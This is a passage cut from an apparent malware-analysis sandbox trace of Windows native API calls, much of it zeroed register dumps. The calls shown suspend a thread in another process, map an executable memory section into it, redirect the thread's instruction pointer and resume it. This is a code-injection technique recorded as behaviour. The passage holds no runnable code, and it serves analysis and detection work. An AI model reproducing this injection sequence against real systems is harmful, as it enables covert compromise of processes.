[172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0427.639] NtResumeThread (in: ThreadHandle=0x1e4, SuspendCount=0x0 | out: SuspendCount=0x0) returned 0x0 [0427.639] NtClose (Handle=0x20c) returned 0x0 [0427.639] NtClose (Handle=0x1e4) returned 0x0 [0427.641] NtOpenProcess (in: ProcessHandle=0x6be938, DesiredAccess=0x438, ObjectAttributes=0x6be900*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x6be918*(UniqueProcess=0xac8, UniqueThread=0x0) | out: ProcessHandle=0x6be938*=0x1e4) returned 0x0 [0427.641] NtQueryInformationProcess (in: ProcessHandle=0x1e4, ProcessInformationClass=0x1a, ProcessInformation=0x6be928, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x6be928, ReturnLength=0x0) returned 0x0 [0427.641] NtQueryInformationProcess (in: ProcessHandle=0x1e4, ProcessInformationClass=0x0, ProcessInformation=0x6be5ac, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x6be5ac, ReturnLength=0x0) returned 0x0 [0427.641] NtReadVirtualMemory (in: ProcessHandle=0x1e4, BaseAddress=0x344000, Buffer=0x6be8c0, NumberOfBytesToRead=0x20, NumberOfBytesRead=0x0 | out: Buffer=0x6be8c0*, NumberOfBytesRead=0x0) returned 0x0 [0427.641] NtDelayExecution (Alertable=0, Interval=0x6be594*=-50000000) returned 0x0 [0432.644] NtOpenThread (in: ThreadHandle=0x6be92c, DesiredAccess=0x1a, ObjectAttributes=0x6be578, ClientId=0x6be590*(UniqueProcess=0x0, UniqueThread=0xdb4) | out: ThreadHandle=0x6be92c*=0x20c) returned 0x0 [0432.644] NtSuspendThread (in: ThreadHandle=0x20c, PreviousSuspendCount=0x0 | out: PreviousSuspendCount=0x0) returned 0x0 [0432.645] NtMapViewOfSection (in: SectionHandle=0x1f4, ProcessHandle=0x1e4, BaseAddress=0x6be5cc*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be5c8*=0x9c4000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x4 | out: BaseAddress=0x6be5cc*=0x23b0000, SectionOffset=0x0, ViewSize=0x6be5c8*=0x9c4000) returned 0x0 [0432.649] NtGetContextThread (in: ThreadHandle=0x20c, Context=0x6be5f4 | out: Context=0x6be5f4*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x4ffe2c, Ebx=0x344000, Edx=0x0, Ecx=0x0, Eax=0x1, Ebp=0x4ffdd4, Eip=0x7742295c, SegCs=0x23, EFlags=0x202, Esp=0x4ffdbc, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0432.650] NtCreateSection (in: SectionHandle=0x6be5b4, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x6be574, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x6be5b4*=0x214) returned 0x0 [0432.650] NtMapViewOfSection (in: SectionHandle=0x214, ProcessHandle=0xffffffff, BaseAddress=0x6be5bc*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be574*=0x165a00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6be5bc*=0x5680000, SectionOffset=0x0, ViewSize=0x6be574*=0x166000) returned 0x0 [0432.658] NtMapViewOfSection (in: SectionHandle=0x214, ProcessHandle=0x1e4, BaseAddress=0x6be5b8*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be5b0*=0x165a00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6be5b8*=0x6d0000, SectionOffset=0x0, ViewSize=0x6be5b0*=0x166000) returned 0x0 [0432.685] NtUnmapViewOfSection (ProcessHandle=0xffffffff, BaseAddress=0x5680000) returned 0x0 [0432.716] NtClose (Handle=0x214) returned 0x0 [0432.717] NtSetContextThread (ThreadHandle=0x20c, Context=0x6be5f4*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x4ffe2c, Ebx=0x344000, Edx=0x0, Ecx=0x0, Eax=0x1, Ebp=0x4ffdd4, Eip=0x7a3927, SegCs=0x23, EFlags=0x202, Esp=0x4ffdbc, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0432.717] NtResumeThread (in: ThreadHandle=0x20c, SuspendCount=0x0 | out: SuspendCount=0x0) returned 0x0 [0432.717] NtClose (Handle=0x1e4) returned 0x0 [0432.717] NtClose (Handle=0x20c) returned 0x0 [0432.718] 